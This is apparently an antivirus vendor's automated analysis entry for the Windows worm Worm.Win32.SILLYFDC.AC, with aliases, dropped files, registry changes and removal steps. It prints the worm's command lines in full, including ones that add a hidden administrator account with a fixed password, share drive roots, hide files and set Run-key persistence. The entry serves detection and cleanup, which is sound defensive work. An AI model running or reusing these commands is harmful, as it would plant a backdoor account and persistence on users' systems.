Worm.Win32.SILLYFDC.AC

November 01, 2019
 ALIASES:

Worm:Win32/Autorun.AGY (Microsoft); W32/Autorun.worm.aajx (McAfee); W32.SillyFDC (Symantec); Trojan.Win32.Cosmu.auyr (Kaspersky); Troj/Cosmu-Gen (Sophos)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Worm

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

114,825 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

01 Nov 2019

Arrival Details

This Worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Worm drops the following copies of itself into the affected system:

  • %System Root%\C0MM\C0MM\svchost.exe
  • %Desktop%\powerpoint2k.exe
  • %Desktop%\excel2k.exe
  • %Desktop%\word2k.exe
  • %System Root%\Program File\Microsoft\MicrosoftSafety.exe
  • F:\C0MM\C0MM\svchost.exe
  • F:\data.exe

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %Desktop% is the current user's desktop, which is usually C:\Documents and Settings\{User Name}\Desktop on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\Desktop on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • cmd.exe /c attrib +s +H "%User Temp%\6b6d0fbd5be4b79d06b09eb62295770b7fb433d2"
  • cmd.exe /c start /b /max .
  • cmd.exe /c tskill taskmagr
  • cmd.exe /c cd %System Root%\ & del *.lnk
  • cmd.exe /c net share SYS_C$=%System Root%\
  • cmd.exe /c MKDIR "%System Root%\Program File"
  • cmd.exe /c MKDIR "%System Root%\Program File\Microsoft"
  • cmd.exe /c COPY "%User Temp%\6b6d0fbd5be4b79d06b09eb62295770b7fb433d2.exe" "%System Root%\Program File\Microsoft\MicrosoftSafety.exe"
  • cmd.exe /c attrib +s +H "%System Root%\Program File"
  • cmd.exe /c attrib +s +H "%System Root%\Program File\Microsoft"
  • cmd.exe /c attrib +s +H %System Root%\C0MM
  • cmd.exe /c attrib +s +H %System Root%\C0MM\C0MM
  • cmd.exe /c attrib -r -a %System Root%\autorun.inf
  • cmd.exe /c attrib +s +h +r %System Root%\autorun.inf
  • cmd.exe /c cd F:\ & del *.lnk
  • cmd.exe /c net share SYS_F$=F:\
  • cmd.exe /c MKDIR "F:\C0MM"
  • cmd.exe /c MKDIR "F:\C0MM\C0MM"
  • cmd.exe /c COPY "%User Temp%\6b6d0fbd5be4b79d06b09eb62295770b7fb433d2.exe" "F:\C0MM\C0MM\svchost.exe"
  • cmd.exe /c attrib +s +H F:\C0MM
  • cmd.exe /c attrib +s +H F:\C0MM\C0MM
  • cmd.exe /c attrib -r -a F:\autorun.inf
  • cmd.exe /c attrib +s +h +r F:\autorun.inf
  • cmd.exe /c COPY "%User Temp%\6b6d0fbd5be4b79d06b09eb62295770b7fb433d2.exe" "F:\data.exe"
  • cmd.exe /c attrib +s +h "F:\data"
  • cmd.exe /c attrib +s +h "%Desktop%\excel2k"
  • cmd.exe /c attrib +s +h "%Desktop%\powerpoint2k"
  • cmd.exe /c attrib +s +h "%Desktop%\word2k"
  • cmd.exe /c net users /add SYS_4321 passPass
  • cmd.exe /c net users SYS_4321 passPass
  • cmd.exe /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v SYS_4321 /t REG_DWORD /d 0 /f
  • cmd.exe /c net localgroup administrators /add SYS_4321
  • cmd.exe /c reg add "HKEY_CLASSES_ROOT\Network\SharingHandler" /v "" /t REG_SZ /d "" /f
  • cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
  • cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
  • cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d " %homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
  • cmd.exe /c reg DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /f
  • cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v shutdownwithoutlogon /d 0 /t REG_DWORD /f
  • cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
  • cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
  • attrib +s +H "%User Temp%\6b6d0fbd5be4b79d06b09eb62295770b7fb433d2"
  • .
  • net share SYS_C$=%System Root%\
  • attrib +s +H "%System Root%\Program File"
  • %System%\net1 share SYS_C$=%System Root%\
  • attrib +s +H "%System Root%\Program File\Microsoft"
  • attrib +s +H %System Root%\C0MM
  • attrib +s +H %System Root%\C0MM\C0MM
  • attrib -r -a %System Root%\autorun.inf
  • attrib +s +h +r %System Root%\autorun.inf
  • net share SYS_F$=F:\
  • %System%\net1 share SYS_F$=F:\
  • attrib +s +H F:\C0MM
  • attrib +s +H F:\C0MM\C0MM
  • attrib -r -a F:\autorun.inf
  • attrib +s +h +r F:\autorun.inf
  • attrib +s +h "F:\data"
  • attrib +s +h "%Desktop%\excel2k"
  • attrib +s +h "%Desktop%\powerpoint2k"
  • attrib +s +h "%Desktop%\word2k"
  • net users /add SYS_4321 passPass
  • net users SYS_4321 passPass
  • reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v SYS_4321 /t REG_DWORD /d 0 /f
  • %System%\net1 users /add SYS_4321 passPass
  • net localgroup administrators /add SYS_4321
  • %System%\net1 users SYS_4321 passPass
  • reg add "HKEY_CLASSES_ROOT\Network\SharingHandler" /v "" /t REG_SZ /d "" /f
  • reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
  • %System%\net1 localgroup administrators /add SYS_4321
  • reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
  • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d " %System Root%\Program File\Microsoft\MicrosoftSafety.exe" /f
  • reg DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /f
  • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v shutdownwithoutlogon /d 0 /t REG_DWORD /f
  • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%System Root%\Program File\Microsoft\MicrosoftSafety.exe" /f
  • reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%System Root%\Program File\Microsoft\MicrosoftSafety.exe" /f

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %Desktop% is the current user's desktop, which is usually C:\Documents and Settings\{User Name}\Desktop on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\Desktop on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It creates the following folders:

  • F:\C0MM
  • %System Root%\Program File\Microsoft
  • %User Temp%\6b6d0fbd5be4b79d06b09eb62295770b7fb433d2
  • %System Root%\Program File
  • F:\C0MM\C0MM
  • %System Root%\C0MM\C0MM
  • %System Root%\C0MM

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Worm adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
Microsoft = "%System Root%\Program File\Microsoft\MicrosoftSafety.exe"

Other System Modifications

This Worm adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows NT\CurrentVersion\
Winlogon\SpecialAccounts\Userlist
SYS_4321 = "0"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
Advanced
ShowSuperHidden = "0"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Run
Microsoft = " %System Root%\Program File\Microsoft\MicrosoftSafety.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Run
Microsoft = "%System Root%\Program File\Microsoft\MicrosoftSafety.exe"

It modifies the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\ComputerName\ComputerName
ComputerName = "{computername}-"

(Note: The default value data of the said registry entry is USER00-A898EA5B.)

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Network\SharingHandler
(Default) = ""

(Note: The default value data of the said registry entry is ntshrui.dll.)

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
Advanced
HideFileExt = "1"

(Note: The default value data of the said registry entry is 1.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
shutdownwithoutlogon = "0"

(Note: The default value data of the said registry entry is 1.)

Dropping Routine

This Worm drops the following files:

  • F:\autorun.inf
  • %System Root%\autorun.inf

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine:

9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Restart in Safe Mode

[ Learn More ]

Step 3

Identify and terminate files detected as Worm.Win32.SILLYFDC.AC

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • Microsoft = "%System Root%\Program File\Microsoft\MicrosoftSafety.exe"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist
    • SYS_4321 = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
    • ShowSuperHidden = "0"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    • Microsoft = " %System Root%\Program File\Microsoft\MicrosoftSafety.exe"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    • Microsoft = "%System Root%\Program File\Microsoft\MicrosoftSafety.exe"

Step 5

Restore these modified registry values

[ Learn More ]

Important:Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator's help. You may also check out this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName
    • From: ComputerName = "{computername}-"
      To: ComputerName = ""USER00-A898EA5B""
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Network\SharingHandler
    • From: (Default) = ""
      To: (Default) = ""ntshrui.dll""
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
    • From: HideFileExt = "1"
      To: HideFileExt = ""1""
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • From: shutdownwithoutlogon = "0"
      To: shutdownwithoutlogon = ""1""

Step 6

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • F:\autorun.inf
  • %System Root%\autorun.inf

Step 7

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • F:\C0MM
  • %System Root%\Program File\Microsoft
  • %User Temp%\6b6d0fbd5be4b79d06b09eb62295770b7fb433d2
  • %System Root%\Program File
  • F:\C0MM\C0MM
  • %System Root%\C0MM\C0MM
  • %System Root%\C0MM

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Worm.Win32.SILLYFDC.AC. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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